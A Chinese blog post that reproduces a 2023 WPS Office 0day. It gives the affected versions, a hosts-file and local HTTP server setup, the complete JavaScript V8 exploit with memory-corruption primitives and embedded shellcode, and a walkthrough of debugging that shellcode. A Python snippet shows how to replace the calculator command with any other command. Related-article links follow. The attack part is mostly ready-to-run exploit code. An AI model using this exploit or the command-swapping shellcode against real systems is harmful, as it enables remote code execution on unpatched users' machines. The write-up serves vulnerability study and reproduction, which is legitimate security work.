复现过程

2023 年 HW 出现 WPS 0day POC

影响版本:

WPS Office 2023个人版<11.1.0.15120
WPS Office 2019企业版<11.8.2.12085

简单操作,安装指定版本以下的 wps 版本

设置 host 为

127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn

在 poc 目录下打开 cmd,启动简单的 http 服务

python -m SimpleHTTPServer 80

打开 poc 文档即可弹出计算器

原理分析

将 poc.docx 解压并搜索 1.html,发现位于./word/webExtensions/webExtension1.xml 中

查看 POC 文档,POC 文档是个 html 文件,基本为 JS 代码,并最终执行 shellcode

<script>
if(typeof alert === "undefined"){
alert = console.log;
} let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer); function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
} function gc(){ // major
for (let i = 0; i < 0x10; i++) {
new Array(0x100000);
}
} function foo(bug) {
function C(z) {
Error.prepareStackTrace = function(t, B) {
return B[z].getThis();
};
let p = Error().stack;
Error.prepareStackTrace = null;
return p;
}
function J() {}
var optim = false;
var opt = new Function(
'a', 'b', 'c',
'if(typeof a===\'number\'){if(a>2){for(var i=0;i<100;i++);return;}b.d(a,b,1);return}' +
'g++;'.repeat(70));
var e = null;
J.prototype.d = new Function(
'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];');
J.prototype.a = new Function('a', 'a.b(0,a)');
J.prototype.b = new Function(
'a', 'b',
'b.c();if(a){' +
'g++;'.repeat(70) + '}');
J.prototype.c = function() {
if (optim) {
var z = C(3);
var p = C(3);
z[0] = 0;
e = {M: z, C: p};
}
};
var a = new J();
// jit optim
if (bug) {
for (var V = 0; 1E4 > V; V++) {
opt(0 == V % 4 ? 1 : 4, a, 1);
}
}
optim = true;
opt(1, a, 1);
return e;
} e1 = foo(false);
e2 = foo(true); delete e2.M[0]; let hole = e2.C[0];
let map = new Map();
map.set('asd', 8);
map.set(hole, 0x8); map.delete(hole);
map.delete(hole);
map.delete("asd"); map.set(0x20, "aaaa");
let arr3 = new Array(0);
let arr4 = new Array(0);
let arr5 = new Array(1);
let oob_array = [];
oob_array.push(1.1);
map.set("1", -1); let obj_array = {
m: 1337, target: gc
}; let ab = new ArrayBuffer(1337);
let object_idx = undefined;
let object_idx_flag = undefined; let max_size = 0x1000;
for (let i = 0; i < max_size; i++) {
if (d2u(oob_array[i])[0] === 0xa72) {
object_idx = i;
object_idx_flag = 1;
break;
}if (d2u(oob_array[i])[1] === 0xa72) {
object_idx = i + 1;
object_idx_flag = 0;
break;
}
} function addrof(obj_para) {
obj_array.target = obj_para;
let addr = d2u(oob_array[object_idx])[object_idx_flag] - 1;
obj_array.target = gc;
return addr;
} function fakeobj(addr) {
let r8 = d2u(oob_array[object_idx]);
if (object_idx_flag === 0) {
oob_array[object_idx] = u2d(addr, r8[1]);
}else {
oob_array[object_idx] = u2d(r8[0], addr);
}
return obj_array.target;
} let bk_idx = undefined;
let bk_idx_flag = undefined;
for (let i = 0; i < max_size; i++) {
if (d2u(oob_array[i])[0] === 1337) {
bk_idx = i;
bk_idx_flag = 1;
break;
}if (d2u(oob_array[i])[1] === 1337) {
bk_idx = i + 1;
bk_idx_flag = 0;
break;
}
} let dv = new DataView(ab);
function get_32(addr) {
let r8 = d2u(oob_array[bk_idx]);
if (bk_idx_flag === 0) {
oob_array[bk_idx] = u2d(addr, r8[1]);
} else {
oob_array[bk_idx] = u2d(r8[0], addr);
}
let val = dv.getUint32(0, true);
oob_array[bk_idx] = u2d(r8[0], r8[1]);
return val;
} function set_32(addr, val) {
let r8 = d2u(oob_array[bk_idx]);
if (bk_idx_flag === 0) {
oob_array[bk_idx] = u2d(addr, r8[1]);
} else {
oob_array[bk_idx] = u2d(r8[0], addr);
}
dv.setUint32(0, val, true);
oob_array[bk_idx] = u2d(r8[0], r8[1]);
} function write8(addr, val) {
let r8 = d2u(oob_array[bk_idx]);
if (bk_idx_flag === 0) {
oob_array[bk_idx] = u2d(addr, r8[1]);
} else {
oob_array[bk_idx] = u2d(r8[0], addr);
}
dv.setUint8(0, val);
} let fake_length = get_32(addrof(oob_array)+12);
set_32(get_32(addrof(oob_array)+8)+4,fake_length); let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main; let target_addr = addrof(wasm_instance)+0x40;
let rwx_mem = get_32(target_addr);
//alert("rwx_mem is"+rwx_mem.toString(16)); const shellcode = new Uint8Array([0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52,0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b,0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03,0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb,0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f,0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5,0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x00]); for(let i=0;i<shellcode.length;i++){
write8(rwx_mem+i,shellcode[i]);
}
f();
</script>

大佬表示一眼出是2021年的 chrome V8引擎 RCE 代码,换了 shellcode,我菜鸡看不出来 o(╥﹏╥)o 后面抽时间学一下

把 shellcode 写到 bin 文件中

import struct
shellcode = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00]
with open(r"shellcode.bin","wb") as fp:
for x in shellcode:
s = struct.pack('B',x)
fp.write(s)
fp.close()

查看可见字符

hexdump -e '16/1 "%02X " "  |  "' -e '16/1 "%_p" "\n"' shellcode.bin

命令解释:

  • -e '16/1 "%02X " " | "':16/1表示每行显示16个字节,"%02X "表示以两个十六进制字符的格式输出字节,并以空格分隔," | "表示在每行的中间以" | "分隔字节。
  • -e '16/1 "%_p" "\n"':16/1表示每行显示16个字节,"%_p"表示以可打印字符的格式输出字节,"\n"表示在每行的最后加上换行符。
FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51  |  .H........AQAPRQ
56 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 | VH1.eH.R`H.R.H.R
20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 | H.rPH..JJM1.H1.
AC 3C 61 7C 02 2C 20 41 C1 C9 0D 41 01 C1 E2 ED | .<a|., A...A....
52 41 51 48 8B 52 20 8B 42 3C 48 01 D0 8B 80 88 | RAQH.R .B<H.....
00 00 00 48 85 C0 74 67 48 01 D0 50 8B 48 18 44 | ...H..tgH..P.H.D
8B 40 20 49 01 D0 E3 56 48 FF C9 41 8B 34 88 48 | .@ I...VH..A.4.H
01 D6 4D 31 C9 48 31 C0 AC 41 C1 C9 0D 41 01 C1 | ..M1.H1..A...A..
38 E0 75 F1 4C 03 4C 24 08 45 39 D1 75 D8 58 44 | 8.u.L.L$.E9.u.XD
8B 40 24 49 01 D0 66 41 8B 0C 48 44 8B 40 1C 49 | .@$I..fA..HD.@.I
01 D0 41 8B 04 88 48 01 D0 41 58 41 58 5E 59 5A | ..A...H..AXAX^YZ
41 58 41 59 41 5A 48 83 EC 20 41 52 FF E0 58 41 | AXAYAZH.. AR..XA
59 5A 48 8B 12 E9 57 FF FF FF 5D 48 BA 01 00 00 | YZH...W...]H....
00 00 00 00 00 48 8D 8D 01 01 00 00 41 BA 31 8B | .....H......A.1.
6F 87 FF D5 BB F0 B5 A2 56 41 BA A6 95 BD 9D FF | o.......VA......
D5 48 83 C4 28 3C 06 7C 0A 80 FB E0 75 05 BB 47 | .H..(<.|....u..G
13 72 6F 6A 00 59 41 89 DA FF D5 63 61 6C 63 00 | .roj.YA....calc.

可以看到以 calc 结尾,弹出计算器的字符串

Dump 下来的 shellcode 是二进制数据块,无法直接运行和调试,可以用 loader 将 shellcode 加载进行动态调试,此处使用 jmp2it.exe,

Jmp2it.exe 的原理传入的参数 1为 shellcode 的路径,用 CreateFile 获取文件句柄,之后使用 CreateFileMapping、MapViewOfFile 映射到自己的内存空间中,再根据参数2偏移量加上 MapViewOfFile 返回的基址获取入口地址,将此地址设为函数指针,在执行此函数前用 EB FE 循环跳转当前指令

C:\Users\win2021ltsc\Desktop>jmp2it.exe shellcode.bin 0x00 pause
** JMP2IT v1.4 - Created by Adam Kramer [2014] - Inspired by Malhost-Setup **
** As requested, the process has been paused ** To proceed with debugging:
1. Load a debugger and attach it to this process
2. If it has paused, instruct it to start running again
3. Pause the process after a few seconds
4. NOP the EF BE infinite loop which you should be on
5. Step to the CALL immediately after and then 'step into' it === You will then be at the shellcode ===

使用 x32dbg 附加进程,断在 jmp,把 EB FE 给 nop 掉,后面的 call 就是 shellcode

进入 shellcode

shellcode 的 calc 换成其他命令也可以跑,例如换成 notepad 加上0x00可以弹出记事本

import struct
shellcode_ = [0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52,0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b,0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03,0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb,0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f,0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5,0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,0x00, 0x53, 0xff, 0xd5]
my_command = 'notepad'
result = [ord(char) for char in my_command]
shellcode_ = shellcode_ + result + [0x00]
with open("notepad.bin","wb") as fp:
for x in shellcode_:
s = struct.pack('B',x)
fp.write(s)
fp.close()

参考链接:

WPS HW 漏洞 学习的更多相关文章

  1. XSS漏洞学习笔记

    XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...

  2. Typecho-反序列化漏洞学习

    目录 Typecho-反序列化漏洞学习 0x00 前言 0x01 分析过程 0x02 调试 0x03 总结 0xFF 参考 Typecho-反序列化漏洞学习 0x00 前言 补丁: https://g ...

  3. XXE漏洞学习笔记

    XXE 参考文章 名称 地址 一篇文章带你深入理解漏洞之 XXE 漏洞 https://xz.aliyun.com/t/3357 Web Hacking 101 https://wizardforce ...

  4. PWN二进制漏洞学习指南

    目录 PWN二进制漏洞学习指南 前言 前置技能 PWN概念 概述 发音 术语 PWN环境搭建 PWN知识学习途径 常见漏洞 安全机制 PWN技巧 PWN相关资源博客 Pwn菜鸡小分队 PWN二进制漏洞 ...

  5. JWT漏洞学习

    JWT漏洞学习 什么是JWT? JWT是JSON Web Token的缩写,它是一串带有声明信息的字符串,由服务端使用加密算法对信息签名,以保证其完整性和不可伪造性.Token里可以包含所有必要的信息 ...

  6. FastJson远程命令执行漏洞学习笔记

    FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...

  7. Vulhub 漏洞学习之:ElasticSearch

    Vulhub 漏洞学习之:ElasticSearch 目录 Vulhub 漏洞学习之:ElasticSearch 1 ElasticSearch 命令执行漏洞(CVE-2014-3120)测试环境 1 ...

  8. Vulhub 漏洞学习之:Fastjson

    Vulhub 漏洞学习之:Fastjson 目录 Vulhub 漏洞学习之:Fastjson 0 背景知识 0.1 FastJson POC解析 0.1.1 基于rmi的利用方式 0.1.2 基于ld ...

  9. Vulhub 漏洞学习之:Redis

    Vulhub 漏洞学习之:Redis 1 Redis简介 Redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库.Redis 与其他 key - value 缓存产品 ...

  10. Vulhub 漏洞学习之:ECShop

    Vulhub 漏洞学习之:ECShop 目录 Vulhub 漏洞学习之:ECShop 1 ECShop 2.x/3.x SQL注入/远程命令执行漏洞 1.1 环境安装 1.2 漏洞产生原因 1.3 漏 ...

随机推荐

  1. 2023 年值得一读的技术文章 | NebulaGraph 技术社区

    在之前的产品篇,我们了解到了 NebulaGraph 内核及周边工具在 2023 年经历了什么样的变化.伴随着这些特性的变更和上线,在[文章]博客分类中,一篇篇的博文记录下了这些功能背后的设计思考和研 ...

  2. MySQL日志15连问,redo log与biglog

    1. redo log是什么? 为什么需要redo log? redo log 是什么呢? redo log 是重做日志. 它记录了数据页上的改动. 它指事务中修改了的数据,将会备份存储. 发生数据库 ...

  3. prometheus 监控系统

    一. 安装docker环境 二. 安装prometheus 2.1 编辑配置文件 2.2 编辑docker-compose 三. grafana 展示 四 添加监控节点 五. 监控 java进程 六. ...

  4. Linux int型转换为char*型几种方法总结

    一 前记 这种转换,windows下最常用就是atoi()函数.可惜的是,在Linux中没有itoa()函数,只有atoi()   这点很有趣,居然不对称. 所以在Linux中实现从整型到char*的 ...

  5. JavaFx 圆形头像实现

    原文:JavaFx 圆形头像实现 - Stars-One的杂货小窝 本文基于TornadoFx框架进行编写,封装工具代码是kotlin版本 圆形头像框组件封装成了stars-one/common-co ...

  6. 关于python的copy()与deepcopy()之间的区别

    关于python的copy()与deepcopy()之间的区别 copy为浅复制,不会产生一个独立的对象单独存在,如list中套着list的情况,当改变子list中的一个或多个元素,copy的内容也会 ...

  7. 4项关键技术提升 XR 扩展现实体验-XR应用云流化

    无论是使用户能够协作设计电动赛车,还是帮助观众通过数字世界与自然互动,越来越多的企业利用XR扩展现实为用户提供沉浸式逼真的虚拟环境. 下一代沉浸式技术的应用越来越广泛,图形和人工智能的最新突破正在扩展 ...

  8. 面试官:volatile如何保证可见性的,具体如何实现?

    写在开头 在之前的几篇博文中,我们都提到了 volatile 关键字,这个单词中文释义为:不稳定的,易挥发的,在Java中代表变量修饰符,用来修饰会被不同线程访问和修改的变量,对于方法,代码块,方法参 ...

  9. 你是怎么处理vue项目中的错误的?

    这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 一.错误类型 任何一个框架,对于错误的处理都是一种必备的能力 在Vue 中,则是定义了一套对应的错误处理规则给到使用者,且在源代码级别,对 ...

  10. 记录--千万别让 console.log 上生产!用 Performance 和 Memory 告诉你为什么

    这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 很多前端都喜欢用 console.log 调试,先不谈调试效率怎么样,首先 console.log 有个致命的问题:会导致内存泄漏. 为什 ...